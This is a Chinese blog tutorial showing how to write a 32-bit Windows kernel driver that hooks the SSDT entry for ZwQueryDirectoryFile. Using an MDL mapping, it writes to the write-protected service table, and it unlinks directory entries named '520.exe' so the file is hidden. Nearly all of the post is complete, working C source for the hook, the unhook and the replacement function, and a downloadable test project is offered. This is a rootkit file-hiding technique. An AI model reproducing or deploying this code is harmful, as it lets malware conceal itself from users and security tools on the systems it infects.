SSDT Hook 之内核函数ZwQueryDirectoryFile实现文件隐藏

大葱

发布日期: 2021-05-18 07:54:59 浏览量: 286
评分:
star star star star star star star star star star_border
*转载请注明来自write-bug.com

背景

之前我写过《32位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址》、《64位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址》这两篇文章,向大家介绍了在 32 位或者 64 位系统上获取 SSDT 表的地址以及指定 SSDT 函数地址的实现过程和原理。

我们要开始向大家演示 SSDT HOOK 的使用方式,帮助我们的程序实现隐藏或是监控等工作。我们之前也一直提到过,在 32 位系统上,要想实现隐藏或是监控的操作,大多数操作就是对 SSDT 函数各种 HOOK,可以是 SSDT HOOK,也可以是 Inline HOOK。但,这些通过对 SSDT 表内存修改而实现的操作,在 64 位系统上不再适用,因为 64 位系统的 Patch Guard 保护机制,把 SSDT 的内存作为重点保护对象,只要对 SSDT 的内存进行修改,都会触发 Patch Guard,从而导致系统蓝屏。所以,这种 SSDT HOOK 的操作,能正常在 32 位系统上使用。在 64 位上,会导致蓝屏。当然,如果你能使用其它方法突破 64 位的 Patch Guard 保护的话,SSDT 还是仍然可以使用的。

本文主要介绍在 32 位系统上,使用 SSDT Hook ZwQueryDirectoryFile 内核函数实现文件隐藏。现在,我就把实现过程和原理,整理成文档,分享给大家。

实现过程

在 32 位系统下,SSDT 是导出的,所以可以直接获取 KeServiceDescriptorTable。然后,我们根据 ntdll.dll 获取 ZwQueryDirectoryFile 函数的 SSDT 函数索引号。有了这个 SSDT 索引号,我们就可以根据 KeServiceDescriptorTable 获取函数 ZwQueryDirectoryFile 在内核中的地址了。想要了解更多具体的分析过程,可以参考《32位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址》这篇文章。

那么,SSDT HOOK 的原理就是:将 SSDT 表中存储的 ZwQueryDirectoryFile 函数地址修改成新的函数的地址,这样,当系统从 SSDT 获取 ZwQueryDirectoryFile 函数地址的时候,获取到的就是指向我们新函数的地址,从而执行我们的新函数。

其中,SSDT 表的内存是有 Write Protect 写保护属性,所以,我们采用 MDL 方式来修改 SSDT 表的内存,写入我们的新函数地址。

那么,在新的 New_ZwQueryDirectoryFile 函数中的操作就是:

  • 首先,传入参数调用原来的 ZwQueryDirectoryFile 函数进行执行,获取进程遍历的结果

  • 然后,我们对查询结果进行遍历,将我们要隐藏的文件,从遍历的链表中摘链,实现隐藏,返回操作

这样,就可以实现文件的隐藏了。

编码实现

Hook

  1. // SSDT Hook
  2. BOOLEAN SSDTHook()
  3. {
  4. UNICODE_STRING ustrDllFileName;
  5. ULONG ulSSDTFunctionIndex = 0;
  6. PMDL pMdl = NULL;
  7. PVOID pNewAddress = NULL;
  8. ULONG ulNewFuncAddr = 0;
  9. RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
  10. // 从 ntdll.dll 中获取 SSDT 函数索引号
  11. ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwQueryDirectoryFile");
  12. // 根据索引号, 从SSDT表中获取对应函数地址
  13. g_pOldSSDTFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex];
  14. if (NULL == g_pOldSSDTFunctionAddress)
  15. {
  16. DbgPrint("Get SSDT Function Error!\n");
  17. return FALSE;
  18. }
  19. // 使用 MDL 方式修改 SSDT
  20. pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG));
  21. if (NULL == pMdl)
  22. {
  23. DbgPrint("MmCreateMdl Error!\n");
  24. return FALSE;
  25. }
  26. MmBuildMdlForNonPagedPool(pMdl);
  27. pNewAddress = MmMapLockedPages(pMdl, KernelMode);
  28. if (NULL == pNewAddress)
  29. {
  30. IoFreeMdl(pMdl);
  31. DbgPrint("MmMapLockedPages Error!\n");
  32. return FALSE;
  33. }
  34. // 写入新函数地址
  35. ulNewFuncAddr = (ULONG)New_ZwQueryDirectoryFile;
  36. RtlCopyMemory(pNewAddress, &ulNewFuncAddr, sizeof(ULONG));
  37. // 释放
  38. MmUnmapLockedPages(pNewAddress, pMdl);
  39. IoFreeMdl(pMdl);
  40. return TRUE;
  41. }

Unhook

  1. // SSDT Unhook
  2. BOOLEAN SSDTUnhook()
  3. {
  4. UNICODE_STRING ustrDllFileName;
  5. ULONG ulSSDTFunctionIndex = 0;
  6. PVOID pSSDTFunctionAddress = NULL;
  7. PMDL pMdl = NULL;
  8. PVOID pNewAddress = NULL;
  9. ULONG ulOldFuncAddr = 0;
  10. RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
  11. // 从 ntdll.dll 中获取 SSDT 函数索引号
  12. ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwQueryDirectoryFile");
  13. // 使用 MDL 方式修改 SSDT
  14. pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG));
  15. if (NULL == pMdl)
  16. {
  17. DbgPrint("MmCreateMdl Error!\n");
  18. return FALSE;
  19. }
  20. MmBuildMdlForNonPagedPool(pMdl);
  21. pNewAddress = MmMapLockedPages(pMdl, KernelMode);
  22. if (NULL == pNewAddress)
  23. {
  24. IoFreeMdl(pMdl);
  25. DbgPrint("MmMapLockedPages Error!\n");
  26. return FALSE;
  27. }
  28. // 写入原函数地址
  29. ulOldFuncAddr = (ULONG)g_pOldSSDTFunctionAddress;
  30. RtlCopyMemory(pNewAddress, &ulOldFuncAddr, sizeof(ULONG));
  31. // 释放
  32. MmUnmapLockedPages(pNewAddress, pMdl);
  33. IoFreeMdl(pMdl);
  34. return TRUE;
  35. }

新函数

  1. // 新函数
  2. NTSTATUS New_ZwQueryDirectoryFile(
  3. IN HANDLE FileHandle,
  4. IN HANDLE Event OPTIONAL,
  5. IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  6. IN PVOID ApcContext OPTIONAL,
  7. OUT PIO_STATUS_BLOCK IoStatusBlock,
  8. OUT PVOID FileInformation,
  9. IN ULONG Length,
  10. IN FILE_INFORMATION_CLASS FileInformationClass,
  11. IN BOOLEAN ReturnSingleEntry,
  12. IN PUNICODE_STRING FileMask OPTIONAL,
  13. IN BOOLEAN RestartScan
  14. )
  15. {
  16. NTSTATUS status = STATUS_SUCCESS;
  17. typedef NTSTATUS(*typedef_ZwQueryDirectoryFile)(
  18. IN HANDLE FileHandle,
  19. IN HANDLE Event OPTIONAL,
  20. IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  21. IN PVOID ApcContext OPTIONAL,
  22. OUT PIO_STATUS_BLOCK IoStatusBlock,
  23. OUT PVOID FileInformation,
  24. IN ULONG Length,
  25. IN FILE_INFORMATION_CLASS FileInformationClass,
  26. IN BOOLEAN ReturnSingleEntry,
  27. IN PUNICODE_STRING FileMask OPTIONAL,
  28. IN BOOLEAN RestartScan
  29. );
  30. // 执行原函数
  31. status = ((typedef_ZwQueryDirectoryFile)g_pOldSSDTFunctionAddress)(FileHandle,
  32. Event,
  33. ApcRoutine,
  34. ApcContext,
  35. IoStatusBlock,
  36. FileInformation,
  37. Length,
  38. FileInformationClass,
  39. ReturnSingleEntry,
  40. FileMask,
  41. RestartScan);
  42. //这里判定函数是否执行成功,而且获取的是否是文件或目录
  43. if (NT_SUCCESS(status) && (
  44. FileInformationClass == FileDirectoryInformation ||
  45. FileInformationClass == FileFullDirectoryInformation ||
  46. FileInformationClass == FileIdFullDirectoryInformation ||
  47. FileInformationClass == FileBothDirectoryInformation ||
  48. FileInformationClass == FileIdBothDirectoryInformation ||
  49. FileInformationClass == FileNamesInformation
  50. ))
  51. {
  52. PVOID pCurrent = FileInformation;
  53. PVOID pPre = NULL;
  54. ULONG ulNextOffset = 0;
  55. ULONG ulBufferSize = 1024;
  56. PWCHAR pwszFileName = ExAllocatePool(NonPagedPool, ulBufferSize);
  57. if (NULL == pwszFileName)
  58. {
  59. return status;
  60. }
  61. do
  62. {
  63. // 获取下一个文件信息的偏移
  64. ulNextOffset = GetNextEntryOffset(pCurrent, FileInformationClass);
  65. // 获取当前节点的文件名称
  66. RtlZeroMemory(pwszFileName, ulBufferSize);
  67. GetEntryFileName(pCurrent, FileInformationClass, pwszFileName, ulBufferSize);
  68. DbgPrint("[%S]\n", pwszFileName);
  69. // 隐藏指定的名称的文件或者目录
  70. if (NULL != wcsstr(pwszFileName, L"520.exe"))
  71. {
  72. DbgPrint("Have Hide File Or Directory![%S]\n", pwszFileName);
  73. // 如果是最后一个文件信息
  74. if (0 == ulNextOffset)
  75. {
  76. // 判断是否为第一个文件
  77. if (NULL == pPre)
  78. {
  79. status = STATUS_NO_MORE_FILES;
  80. }
  81. else
  82. {
  83. // 将上一个文件信息的下一文件信息偏移大小置为 0
  84. SetNextEntryOffset(pPre, FileInformationClass, 0);
  85. }
  86. break;
  87. }
  88. else
  89. {
  90. // 把剩下的文件信息覆盖到当前文件信息中
  91. ULONG ulCurrentOffset = (ULONG)((PUCHAR)pCurrent - (PUCHAR)FileInformation);
  92. ULONG ulLeftInfoData = (ULONG)Length - (ulCurrentOffset + ulNextOffset);
  93. RtlCopyMemory(pCurrent, (PVOID)((PUCHAR)pCurrent + ulNextOffset), ulLeftInfoData);
  94. continue;
  95. }
  96. }
  97. // 继续遍历
  98. pPre = pCurrent;
  99. pCurrent = ((PUCHAR)pCurrent + ulNextOffset);
  100. } while (0 != ulNextOffset);
  101. // 释放
  102. if (pwszFileName)
  103. {
  104. ExFreePool(pwszFileName);
  105. pwszFileName = NULL;
  106. }
  107. }
  108. return status;
  109. }
  1. // 从各种文件信息类型中获取文件名称
  2. VOID GetEntryFileName(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo, PWCHAR pwszFileName, ULONG ulBufferSize)
  3. {
  4. PWCHAR result = NULL;
  5. ULONG ulLength = 0;
  6. switch (FileInfo)
  7. {
  8. case FileDirectoryInformation:
  9. result = (PWCHAR)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
  10. ulLength = ((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
  11. break;
  12. case FileFullDirectoryInformation:
  13. result = (PWCHAR)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
  14. ulLength = ((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
  15. break;
  16. case FileIdFullDirectoryInformation:
  17. result = (PWCHAR)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
  18. ulLength = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
  19. break;
  20. case FileBothDirectoryInformation:
  21. result = (PWCHAR)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
  22. ulLength = ((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  23. break;
  24. case FileIdBothDirectoryInformation:
  25. result = (PWCHAR)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
  26. ulLength = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  27. break;
  28. case FileNamesInformation:
  29. result = (PWCHAR)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
  30. ulLength = ((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
  31. break;
  32. }
  33. RtlZeroMemory(pwszFileName, ulBufferSize);
  34. RtlCopyMemory(pwszFileName, result, ulLength);
  35. }
  1. // 在各种文件信息类型中设置下一个文件的偏移
  2. VOID SetNextEntryOffset(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo, IN ULONG Offset)
  3. {
  4. switch (FileInfo)
  5. {
  6. case FileDirectoryInformation:
  7. ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
  8. break;
  9. case FileFullDirectoryInformation:
  10. ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  11. break;
  12. case FileIdFullDirectoryInformation:
  13. ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  14. break;
  15. case FileBothDirectoryInformation:
  16. ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  17. break;
  18. case FileIdBothDirectoryInformation:
  19. ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  20. break;
  21. case FileNamesInformation:
  22. ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
  23. break;
  24. }
  25. }
  1. // 从各种文件信息类型中获取下一个文件的偏移
  2. ULONG GetNextEntryOffset(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo)
  3. {
  4. ULONG result = 0;
  5. switch (FileInfo){
  6. case FileDirectoryInformation:
  7. result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
  8. break;
  9. case FileFullDirectoryInformation:
  10. result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  11. break;
  12. case FileIdFullDirectoryInformation:
  13. result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  14. break;
  15. case FileBothDirectoryInformation:
  16. result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  17. break;
  18. case FileIdBothDirectoryInformation:
  19. result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  20. break;
  21. case FileNamesInformation:
  22. result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
  23. break;
  24. }
  25. return result;
  26. }

程序测试

在 Win7 32 位系统下,驱动程序正常执行:

在 Win10 32 位系统下,驱动程序正常执行:

总结

Hook ZwQueryDirectoryFile 内核函数实现文件隐藏的本质原理就是摘链,即摘除 ZwQueryDirectoryFile 函数文件遍历链表中的某个链表。

其中,我们对 SSDT 函数 ZwQueryDirectoryFile SSDT Hook 的时候,修改内存的方法使用 MDL 方式,这样,可以突破内存的 Write Protect 写保护。

上传的附件 cloud_download SSDTHook_ZwQueryDirectoryFile_Test.zip ( 23.55kb, 3次下载 )

发送私信

这一切都不是我的,但总有一天,会是我的

82
文章数
68
评论数
最近文章
eject